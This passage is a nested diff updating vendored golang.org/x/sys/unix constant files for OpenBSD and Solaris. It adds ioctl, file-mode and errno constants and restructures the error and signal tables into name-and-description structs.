-@@ -1050,6 +1156,8 @@ const (
- RTV_RTTVAR = 0x80
- RTV_SPIPE = 0x10
- RTV_SSTHRESH = 0x20
-+ RT_TABLEID_BITS = 0x8
-+ RT_TABLEID_MASK = 0xff
- RT_TABLEID_MAX = 0xff
- RUSAGE_CHILDREN = -0x1
- RUSAGE_SELF = 0x0
-@@ -1062,55 +1170,57 @@ const (
- SIOCADDMULTI = 0x80206931
- SIOCAIFADDR = 0x8040691a
- SIOCAIFGROUP = 0x80286987
-- SIOCALIFADDR = 0x8218691c
- SIOCATMARK = 0x40047307
-- SIOCBRDGADD = 0x8058693c
-- SIOCBRDGADDS = 0x80586941
-- SIOCBRDGARL = 0x806e694d
-+ SIOCBRDGADD = 0x8060693c
-+ SIOCBRDGADDL = 0x80606949
-+ SIOCBRDGADDS = 0x80606941
-+ SIOCBRDGARL = 0x808c694d
- SIOCBRDGDADDR = 0x81286947
-- SIOCBRDGDEL = 0x8058693d
-- SIOCBRDGDELS = 0x80586942
-- SIOCBRDGFLUSH = 0x80586948
-- SIOCBRDGFRL = 0x806e694e
-- SIOCBRDGGCACHE = 0xc0146941
-- SIOCBRDGGFD = 0xc0146952
-- SIOCBRDGGHT = 0xc0146951
-- SIOCBRDGGIFFLGS = 0xc058693e
-- SIOCBRDGGMA = 0xc0146953
-+ SIOCBRDGDEL = 0x8060693d
-+ SIOCBRDGDELS = 0x80606942
-+ SIOCBRDGFLUSH = 0x80606948
-+ SIOCBRDGFRL = 0x808c694e
-+ SIOCBRDGGCACHE = 0xc0186941
-+ SIOCBRDGGFD = 0xc0186952
-+ SIOCBRDGGHT = 0xc0186951
-+ SIOCBRDGGIFFLGS = 0xc060693e
-+ SIOCBRDGGMA = 0xc0186953
- SIOCBRDGGPARAM = 0xc0406958
-- SIOCBRDGGPRI = 0xc0146950
-+ SIOCBRDGGPRI = 0xc0186950
- SIOCBRDGGRL = 0xc030694f
-- SIOCBRDGGSIFS = 0xc058693c
-- SIOCBRDGGTO = 0xc0146946
-- SIOCBRDGIFS = 0xc0586942
-+ SIOCBRDGGTO = 0xc0186946
-+ SIOCBRDGIFS = 0xc0606942
- SIOCBRDGRTS = 0xc0206943
- SIOCBRDGSADDR = 0xc1286944
-- SIOCBRDGSCACHE = 0x80146940
-- SIOCBRDGSFD = 0x80146952
-- SIOCBRDGSHT = 0x80146951
-- SIOCBRDGSIFCOST = 0x80586955
-- SIOCBRDGSIFFLGS = 0x8058693f
-- SIOCBRDGSIFPRIO = 0x80586954
-- SIOCBRDGSMA = 0x80146953
-- SIOCBRDGSPRI = 0x80146950
-- SIOCBRDGSPROTO = 0x8014695a
-- SIOCBRDGSTO = 0x80146945
-- SIOCBRDGSTXHC = 0x80146959
-+ SIOCBRDGSCACHE = 0x80186940
-+ SIOCBRDGSFD = 0x80186952
-+ SIOCBRDGSHT = 0x80186951
-+ SIOCBRDGSIFCOST = 0x80606955
-+ SIOCBRDGSIFFLGS = 0x8060693f
-+ SIOCBRDGSIFPRIO = 0x80606954
-+ SIOCBRDGSIFPROT = 0x8060694a
-+ SIOCBRDGSMA = 0x80186953
-+ SIOCBRDGSPRI = 0x80186950
-+ SIOCBRDGSPROTO = 0x8018695a
-+ SIOCBRDGSTO = 0x80186945
-+ SIOCBRDGSTXHC = 0x80186959
-+ SIOCDELLABEL = 0x80206997
- SIOCDELMULTI = 0x80206932
- SIOCDIFADDR = 0x80206919
- SIOCDIFGROUP = 0x80286989
-+ SIOCDIFPARENT = 0x802069b4
- SIOCDIFPHYADDR = 0x80206949
-- SIOCDLIFADDR = 0x8218691e
-+ SIOCDPWE3NEIGHBOR = 0x802069de
-+ SIOCDVNETID = 0x802069af
- SIOCGETKALIVE = 0xc01869a4
- SIOCGETLABEL = 0x8020699a
-+ SIOCGETMPWCFG = 0xc02069ae
- SIOCGETPFLOW = 0xc02069fe
- SIOCGETPFSYNC = 0xc02069f8
- SIOCGETSGCNT = 0xc0207534
- SIOCGETVIFCNT = 0xc0287533
- SIOCGETVLAN = 0xc0206990
-- SIOCGHIWAT = 0x40047301
- SIOCGIFADDR = 0xc0206921
-- SIOCGIFASYNCMAP = 0xc020697c
- SIOCGIFBRDADDR = 0xc0206923
- SIOCGIFCONF = 0xc0106924
- SIOCGIFDATA = 0xc020691b
-@@ -1119,40 +1229,52 @@ const (
- SIOCGIFFLAGS = 0xc0206911
- SIOCGIFGATTR = 0xc028698b
- SIOCGIFGENERIC = 0xc020693a
-+ SIOCGIFGLIST = 0xc028698d
- SIOCGIFGMEMB = 0xc028698a
- SIOCGIFGROUP = 0xc0286988
- SIOCGIFHARDMTU = 0xc02069a5
-- SIOCGIFMEDIA = 0xc0306936
-+ SIOCGIFLLPRIO = 0xc02069b6
-+ SIOCGIFMEDIA = 0xc0406938
- SIOCGIFMETRIC = 0xc0206917
- SIOCGIFMTU = 0xc020697e
- SIOCGIFNETMASK = 0xc0206925
-- SIOCGIFPDSTADDR = 0xc0206948
-+ SIOCGIFPAIR = 0xc02069b1
-+ SIOCGIFPARENT = 0xc02069b3
- SIOCGIFPRIORITY = 0xc020699c
-- SIOCGIFPSRCADDR = 0xc0206947
- SIOCGIFRDOMAIN = 0xc02069a0
- SIOCGIFRTLABEL = 0xc0206983
-- SIOCGIFTIMESLOT = 0xc0206986
-+ SIOCGIFRXR = 0x802069aa
-+ SIOCGIFSFFPAGE = 0xc1126939
- SIOCGIFXFLAGS = 0xc020699e
-- SIOCGLIFADDR = 0xc218691d
- SIOCGLIFPHYADDR = 0xc218694b
-+ SIOCGLIFPHYDF = 0xc02069c2
-+ SIOCGLIFPHYECN = 0xc02069c8
- SIOCGLIFPHYRTABLE = 0xc02069a2
- SIOCGLIFPHYTTL = 0xc02069a9
-- SIOCGLOWAT = 0x40047303
- SIOCGPGRP = 0x40047309
-+ SIOCGPWE3 = 0xc0206998
-+ SIOCGPWE3CTRLWORD = 0xc02069dc
-+ SIOCGPWE3FAT = 0xc02069dd
-+ SIOCGPWE3NEIGHBOR = 0xc21869de
- SIOCGSPPPPARAMS = 0xc0206994
-+ SIOCGTXHPRIO = 0xc02069c6
-+ SIOCGUMBINFO = 0xc02069be
-+ SIOCGUMBPARAM = 0xc02069c0
- SIOCGVH = 0xc02069f6
-+ SIOCGVNETFLOWID = 0xc02069c4
- SIOCGVNETID = 0xc02069a7
-+ SIOCIFAFATTACH = 0x801169ab
-+ SIOCIFAFDETACH = 0x801169ac
- SIOCIFCREATE = 0x8020697a
- SIOCIFDESTROY = 0x80206979
- SIOCIFGCLONERS = 0xc0106978
- SIOCSETKALIVE = 0x801869a3
- SIOCSETLABEL = 0x80206999
-+ SIOCSETMPWCFG = 0x802069ad
- SIOCSETPFLOW = 0x802069fd
- SIOCSETPFSYNC = 0x802069f7
- SIOCSETVLAN = 0x8020698f
-- SIOCSHIWAT = 0x80047300
- SIOCSIFADDR = 0x8020690c
-- SIOCSIFASYNCMAP = 0x8020697d
- SIOCSIFBRDADDR = 0x80206913
- SIOCSIFDESCR = 0x80206980
- SIOCSIFDSTADDR = 0x8020690e
-@@ -1160,25 +1282,41 @@ const (
- SIOCSIFGATTR = 0x8028698c
- SIOCSIFGENERIC = 0x80206939
- SIOCSIFLLADDR = 0x8020691f
-- SIOCSIFMEDIA = 0xc0206935
-+ SIOCSIFLLPRIO = 0x802069b5
-+ SIOCSIFMEDIA = 0xc0206937
- SIOCSIFMETRIC = 0x80206918
- SIOCSIFMTU = 0x8020697f
- SIOCSIFNETMASK = 0x80206916
-- SIOCSIFPHYADDR = 0x80406946
-+ SIOCSIFPAIR = 0x802069b0
-+ SIOCSIFPARENT = 0x802069b2
- SIOCSIFPRIORITY = 0x8020699b
- SIOCSIFRDOMAIN = 0x8020699f
- SIOCSIFRTLABEL = 0x80206982
-- SIOCSIFTIMESLOT = 0x80206985
- SIOCSIFXFLAGS = 0x8020699d
- SIOCSLIFPHYADDR = 0x8218694a
-+ SIOCSLIFPHYDF = 0x802069c1
-+ SIOCSLIFPHYECN = 0x802069c7
- SIOCSLIFPHYRTABLE = 0x802069a1
- SIOCSLIFPHYTTL = 0x802069a8
-- SIOCSLOWAT = 0x80047302
- SIOCSPGRP = 0x80047308
-+ SIOCSPWE3CTRLWORD = 0x802069dc
-+ SIOCSPWE3FAT = 0x802069dd
-+ SIOCSPWE3NEIGHBOR = 0x821869de
- SIOCSSPPPPARAMS = 0x80206993
-+ SIOCSTXHPRIO = 0x802069c5
-+ SIOCSUMBPARAM = 0x802069bf
- SIOCSVH = 0xc02069f5
-+ SIOCSVNETFLOWID = 0x802069c3
- SIOCSVNETID = 0x802069a6
-+ SIOCSWGDPID = 0xc018695b
-+ SIOCSWGMAXFLOW = 0xc0186960
-+ SIOCSWGMAXGROUP = 0xc018695d
-+ SIOCSWSDPID = 0x8018695c
-+ SIOCSWSPORTNO = 0xc060695f
-+ SOCK_CLOEXEC = 0x8000
- SOCK_DGRAM = 0x2
-+ SOCK_DNS = 0x1000
-+ SOCK_NONBLOCK = 0x4000
- SOCK_RAW = 0x3
- SOCK_RDM = 0x4
- SOCK_SEQPACKET = 0x5
-@@ -1209,9 +1347,42 @@ const (
- SO_TIMESTAMP = 0x800
- SO_TYPE = 0x1008
- SO_USELOOPBACK = 0x40
-+ SO_ZEROIZE = 0x2000
-+ S_BLKSIZE = 0x200
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFLNK = 0xa000
-+ S_IFMT = 0xf000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISTXT = 0x200
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXGRP = 0x8
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
- TCIFLUSH = 0x1
-+ TCIOFF = 0x3
- TCIOFLUSH = 0x3
-+ TCION = 0x4
- TCOFLUSH = 0x2
-+ TCOOFF = 0x1
-+ TCOON = 0x2
- TCP_MAXBURST = 0x4
- TCP_MAXSEG = 0x2
- TCP_MAXWIN = 0xffff
-@@ -1221,11 +1392,14 @@ const (
- TCP_MSS = 0x200
- TCP_NODELAY = 0x1
- TCP_NOPUSH = 0x10
-- TCP_NSTATES = 0xb
- TCP_SACK_ENABLE = 0x8
- TCSAFLUSH = 0x2
-+ TIMER_ABSTIME = 0x1
-+ TIMER_RELTIME = 0x0
- TIOCCBRK = 0x2000747a
- TIOCCDTR = 0x20007478
-+ TIOCCHKVERAUTH = 0x2000741e
-+ TIOCCLRVERAUTH = 0x2000741d
- TIOCCONS = 0x80047462
- TIOCDRAIN = 0x2000745e
- TIOCEXCL = 0x2000740d
-@@ -1280,17 +1454,21 @@ const (
- TIOCSETAF = 0x802c7416
- TIOCSETAW = 0x802c7415
- TIOCSETD = 0x8004741b
-+ TIOCSETVERAUTH = 0x8004741c
- TIOCSFLAGS = 0x8004745c
- TIOCSIG = 0x8004745f
- TIOCSPGRP = 0x80047476
- TIOCSTART = 0x2000746e
-- TIOCSTAT = 0x80047465
-- TIOCSTI = 0x80017472
-+ TIOCSTAT = 0x20007465
- TIOCSTOP = 0x2000746f
- TIOCSTSTAMP = 0x8008745a
- TIOCSWINSZ = 0x80087467
- TIOCUCNTL = 0x80047466
-+ TIOCUCNTL_CBRK = 0x7a
-+ TIOCUCNTL_SBRK = 0x7b
- TOSTOP = 0x400000
-+ UTIME_NOW = -0x2
-+ UTIME_OMIT = -0x1
- VDISCARD = 0xf
- VDSUSP = 0xb
- VEOF = 0x0
-@@ -1301,6 +1479,19 @@ const (
- VKILL = 0x5
- VLNEXT = 0xe
- VMIN = 0x10
-+ VM_ANONMIN = 0x7
-+ VM_LOADAVG = 0x2
-+ VM_MALLOC_CONF = 0xc
-+ VM_MAXID = 0xd
-+ VM_MAXSLP = 0xa
-+ VM_METER = 0x1
-+ VM_NKMEMPAGES = 0x6
-+ VM_PSSTRINGS = 0x3
-+ VM_SWAPENCRYPT = 0x5
-+ VM_USPACE = 0xb
-+ VM_UVMEXP = 0x4
-+ VM_VNODEMIN = 0x9
-+ VM_VTEXTMIN = 0x8
- VQUIT = 0x9
- VREPRINT = 0x6
- VSTART = 0xc
-@@ -1313,8 +1504,8 @@ const (
- WCONTINUED = 0x8
- WCOREFLAG = 0x80
- WNOHANG = 0x1
-- WSTOPPED = 0x7f
- WUNTRACED = 0x2
-+ XCASE = 0x1000000
- )
-
- // Errors
-@@ -1328,6 +1519,7 @@ const (
- EALREADY = syscall.Errno(0x25)
- EAUTH = syscall.Errno(0x50)
- EBADF = syscall.Errno(0x9)
-+ EBADMSG = syscall.Errno(0x5c)
- EBADRPC = syscall.Errno(0x48)
- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x58)
-@@ -1354,7 +1546,7 @@ const (
- EIPSEC = syscall.Errno(0x52)
- EISCONN = syscall.Errno(0x38)
- EISDIR = syscall.Errno(0x15)
-- ELAST = syscall.Errno(0x5b)
-+ ELAST = syscall.Errno(0x5f)
- ELOOP = syscall.Errno(0x3e)
- EMEDIUMTYPE = syscall.Errno(0x56)
- EMFILE = syscall.Errno(0x18)
-@@ -1382,12 +1574,14 @@ const (
- ENOTCONN = syscall.Errno(0x39)
- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x42)
-+ ENOTRECOVERABLE = syscall.Errno(0x5d)
- ENOTSOCK = syscall.Errno(0x26)
- ENOTSUP = syscall.Errno(0x5b)
- ENOTTY = syscall.Errno(0x19)
- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x2d)
- EOVERFLOW = syscall.Errno(0x57)
-+ EOWNERDEAD = syscall.Errno(0x5e)
- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x2e)
- EPIPE = syscall.Errno(0x20)
-@@ -1395,6 +1589,7 @@ const (
- EPROCUNAVAIL = syscall.Errno(0x4c)
- EPROGMISMATCH = syscall.Errno(0x4b)
- EPROGUNAVAIL = syscall.Errno(0x4a)
-+ EPROTO = syscall.Errno(0x5f)
- EPROTONOSUPPORT = syscall.Errno(0x2b)
- EPROTOTYPE = syscall.Errno(0x29)
- ERANGE = syscall.Errno(0x22)
-@@ -1452,132 +1647,144 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "connection timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "IPsec processing failure",
-- 83: "attribute not found",
-- 84: "illegal byte sequence",
-- 85: "no medium found",
-- 86: "wrong medium type",
-- 87: "value too large to be stored in data type",
-- 88: "operation canceled",
-- 89: "identifier removed",
-- 90: "no message of desired type",
-- 91: "not supported",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disk quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC program not available"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIPSEC", "IPsec processing failure"},
-+ {83, "ENOATTR", "attribute not found"},
-+ {84, "EILSEQ", "illegal byte sequence"},
-+ {85, "ENOMEDIUM", "no medium found"},
-+ {86, "EMEDIUMTYPE", "wrong medium type"},
-+ {87, "EOVERFLOW", "value too large to be stored in data type"},
-+ {88, "ECANCELED", "operation canceled"},
-+ {89, "EIDRM", "identifier removed"},
-+ {90, "ENOMSG", "no message of desired type"},
-+ {91, "ENOTSUP", "not supported"},
-+ {92, "EBADMSG", "bad message"},
-+ {93, "ENOTRECOVERABLE", "state not recoverable"},
-+ {94, "EOWNERDEAD", "previous owner died"},
-+ {95, "ELAST", "protocol error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "stopped (signal)",
-- 18: "stopped",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "thread AST",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGABRT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGTHR", "thread AST"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_solaris_amd64.go b/vendor/golang.org/x/sys/unix/zerrors_solaris_amd64.go
-index 81e83d78..46e054cc 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_solaris_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_solaris_amd64.go
-@@ -3,7 +3,7 @@
-
- // +build amd64,solaris
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m64 _const.go
-
- package unix
-@@ -664,6 +664,9 @@ const (
- MS_OLDSYNC = 0x0
- MS_SYNC = 0x4
- M_FLUSH = 0x86
-+ NAME_MAX = 0xff
-+ NEWDEV = 0x1
-+ NFDBITS = 0x40
- NL0 = 0x0
- NL1 = 0x100
- NLDLY = 0x100
-@@ -672,6 +675,9 @@ const (
- OFDEL = 0x80
- OFILL = 0x40
- OLCUC = 0x2
-+ OLDDEV = 0x0
-+ ONBITSMAJOR = 0x7
-+ ONBITSMINOR = 0x8
- ONLCR = 0x4
- ONLRET = 0x20
- ONOCR = 0x10
-@@ -991,6 +997,39 @@ const (
- SO_USELOOPBACK = 0x40
- SO_VRRP = 0x1017
- SO_WROFF = 0x2
-+ S_ENFMT = 0x400
-+ S_IAMB = 0x1ff
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFDOOR = 0xd000
-+ S_IFIFO = 0x1000
-+ S_IFLNK = 0xa000
-+ S_IFMT = 0xf000
-+ S_IFNAM = 0x5000
-+ S_IFPORT = 0xe000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_INSEM = 0x1
-+ S_INSHD = 0x2
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXGRP = 0x8
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
- TAB0 = 0x0
- TAB1 = 0x800
- TAB2 = 0x1000
-@@ -1097,6 +1136,8 @@ const (
- TIOCSTOP = 0x746f
- TIOCSWINSZ = 0x5467
- TOSTOP = 0x100
-+ UTIME_NOW = -0x1
-+ UTIME_OMIT = -0x2
- VCEOF = 0x8
- VCEOL = 0x9
- VDISCARD = 0xd
-@@ -1105,6 +1146,7 @@ const (
- VEOL = 0x5
- VEOL2 = 0x6
- VERASE = 0x2
-+ VERASE2 = 0x11
- VINTR = 0x0
- VKILL = 0x3
- VLNEXT = 0xf
-@@ -1313,171 +1355,179 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "not owner",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "I/O error",
-- 6: "no such device or address",
-- 7: "arg list too long",
-- 8: "exec format error",
-- 9: "bad file number",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "not enough space",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "file table overflow",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "argument out of domain",
-- 34: "result too large",
-- 35: "no message of desired type",
-- 36: "identifier removed",
-- 37: "channel number out of range",
-- 38: "level 2 not synchronized",
-- 39: "level 3 halted",
-- 40: "level 3 reset",
-- 41: "link number out of range",
-- 42: "protocol driver not attached",
-- 43: "no CSI structure available",
-- 44: "level 2 halted",
-- 45: "deadlock situation detected/avoided",
-- 46: "no record locks available",
-- 47: "operation canceled",
-- 48: "operation not supported",
-- 49: "disc quota exceeded",
-- 50: "bad exchange descriptor",
-- 51: "bad request descriptor",
-- 52: "message tables full",
-- 53: "anode table overflow",
-- 54: "bad request code",
-- 55: "invalid slot",
-- 56: "file locking deadlock",
-- 57: "bad font file format",
-- 58: "owner of the lock died",
-- 59: "lock is not recoverable",
-- 60: "not a stream device",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of stream resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 72: "locked lock was unmapped ",
-- 73: "facility is not active",
-- 74: "multihop attempted",
-- 77: "not a data message",
-- 78: "file name too long",
-- 79: "value too large for defined data type",
-- 80: "name not unique on network",
-- 81: "file descriptor in bad state",
-- 82: "remote address changed",
-- 83: "can not access a needed shared library",
-- 84: "accessing a corrupted shared library",
-- 85: ".lib section in a.out corrupted",
-- 86: "attempting to link in more shared libraries than system limit",
-- 87: "can not exec a shared library directly",
-- 88: "illegal byte sequence",
